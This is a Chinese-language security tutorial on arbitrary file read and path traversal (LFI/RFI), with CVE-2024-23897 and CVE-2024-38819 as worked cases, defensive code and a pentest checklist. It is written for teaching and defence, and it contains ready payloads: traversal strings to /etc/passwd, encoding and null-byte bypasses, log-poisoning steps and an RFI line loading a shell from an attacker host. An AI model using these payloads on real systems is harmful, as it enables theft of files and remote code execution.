作者:小雪花安全实验室

日期:2025-09-18

关键词:路径遍历、LFI、RFI、CVE-2024-23897、安全编码


1. 什么是任意文件读取漏洞?

任意文件读取(Arbitrary File Read)是一类服务端未对文件路径参数做严格校验,导致攻击者可指定任意路径读取服务器本地或远程文件的漏洞。
常见别名:

  • 目录遍历(Directory Traversal / Path Traversal)
  • 本地文件包含(LFI,Local File Inclusion)
  • 远程文件包含(RFI,Remote File Inclusion)

2. 漏洞原理

2.1 路径拼接场景

Web 应用经常根据用户输入拼接文件路径:

<?php
$template = $_GET['template'];   // index
include '/var/www/html/tpl/' . $template . '.php';
?>

攻击者只需把 template 设为:

../../../etc/passwd%00

即可令 PHP 实际包含 /etc/passwd,造成敏感文件泄露。

2.2 核心问题

  • 未验证路径合法性(白名单)
  • 未进行规范化(normalize / realpath)
  • 未过滤危险字符(../..\..%2e%2e%2f、UTF-16 编码等)
  • 配置了危险的 PHP 选项(allow_url_include = On 会升级为 RCE)

3. 漏洞分类速查表

类型 范围 触发点 危害 经典 payload
目录遍历 任何语言 下载、读取、模板渲染 信息泄露 download?file=../../config.js
LFI PHP/JSP/ASP include/require 信息泄露 + RCE(结合日志 / Session / 图片马) ?lang=../../upload/shell.jpg
RFI PHP include 远程 URL 直接 RCE ?inc=http://attacker/shell.txt

4. 2024 典型 CVE 案例

4.1 Jenkins CLI CVE-2024-23897

  • 成因:CLI 解析器支持 @file 语法,自动将 @/etc/passwd 替换为文件内容。
  • 影响版本:≤ 2.441 / LTS ≤ 2.426.2
  • 利用:无需认证即可读取任意文件,甚至下载整个 secrets/master.key
  • 复现地址:- 点击Jenkins CLI CVE-2024-23897靶场环境
  • 修复:升级到 2.442+ 或关闭 CLI 端口。

4.2 Spring Framework CVE-2024-38819

  • 成因ResourceHttpRequestHandler.. 过滤不完整,双 URL 编码可绕过。
  • 影响:5.3.0-5.3.40、6.0.0-6.0.24、6.1.0-6.1.13
  • 利用GET //static/link/%252f%252e%252e%252fetc%252fpasswd
  • 修复:升级到 5.3.41 / 6.0.25 / 6.1.14

5. 攻击技巧总结

绕过手段 示例 说明
双重 URL 编码 %252e%252e%252f 解码两次后为 ../
UTF-16 编码 ..%c0%af 旧版 Java new File() 解析差异
空字节截断 ../../../../boot.ini%00.jpg PHP < 5.3.4 有效
绝对路径 /etc/passwd 若代码拼接逻辑不严谨
软链接 上传 link -> /etc/passwd 后端未判断 is_symlink
日志 Poisoning 把 PHP 代码写到 User-Agent -> 包含日志 拿 Shell

6. 防御方案(开发视角)

6.1 输入验证

  • 白名单 > 黑名单
    只允许 a-zA-Z0-9_- 且长度限制。
// Java 示例
String file = req.getParameter("f");
if (!file.matches("^[\\w-]+\\.txt$")) {
    throw new SecurityException("非法文件名");
}

6.2 路径规范化 + 前缀校验

import os, pathlib

def safe_open(base: str, name: str):
    base = pathlib.Path(base).resolve()
    target = (base / name).resolve()
    if not str(target).startswith(str(base)):
        raise ValueError("路径越界")
    return target.read_text()

6.3 文件系统隔离

  • 上传目录与系统分区物理隔离(挂载单独盘 / 容器卷)
  • Web 服务器以最低权限运行(www-data / nobody + chroot)

6.4 关闭危险功能

  • PHP:allow_url_include=Off, open_basedir=/var/www/
  • Java:不要启用 file:// 之外的协议处理器
  • Spring:配置 setAllowedLocations(new ClassPathResource("static/"))

6.5 WAF / RASP 兜底

  • 路径遍历正则:\.{1,2}[\\/]|%2e%2e|\.%2e
  • 对响应内容检测 /etc/passwdroot:<% 等关键字进行拦截或打补丁。

7. 渗透测试 checklist

✅ 手动 payload 快速验证
- ../../../etc/passwd
- ..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
- %2e%2e%2f%2e%2e%2fetc%2fpasswd

✅ 自动化扫描
- Burp Suite Active Scanner / OWASP ZAP
- Nessus/OpenVAS 插件 Directory Traversal

✅ 代码审计关键词
- new File( / File() / Paths.get( / include / require
- request.getParameter / @RequestParam / @PathVariable

✅ 日志审查
- 200 响应码返回 root:[boot loader]-----BEGIN RSA PRIVATE KEY-----
- 异常长度响应(读取二进制文件导致)


8. 参考资源


版权声明:如无特殊说明,文章均为本站原创,转载请注明出处

本文链接:https://www.secsnow.cn/wiki/subject/article/fileread/

许可协议:署名-非商业性使用 4.0 国际许可协议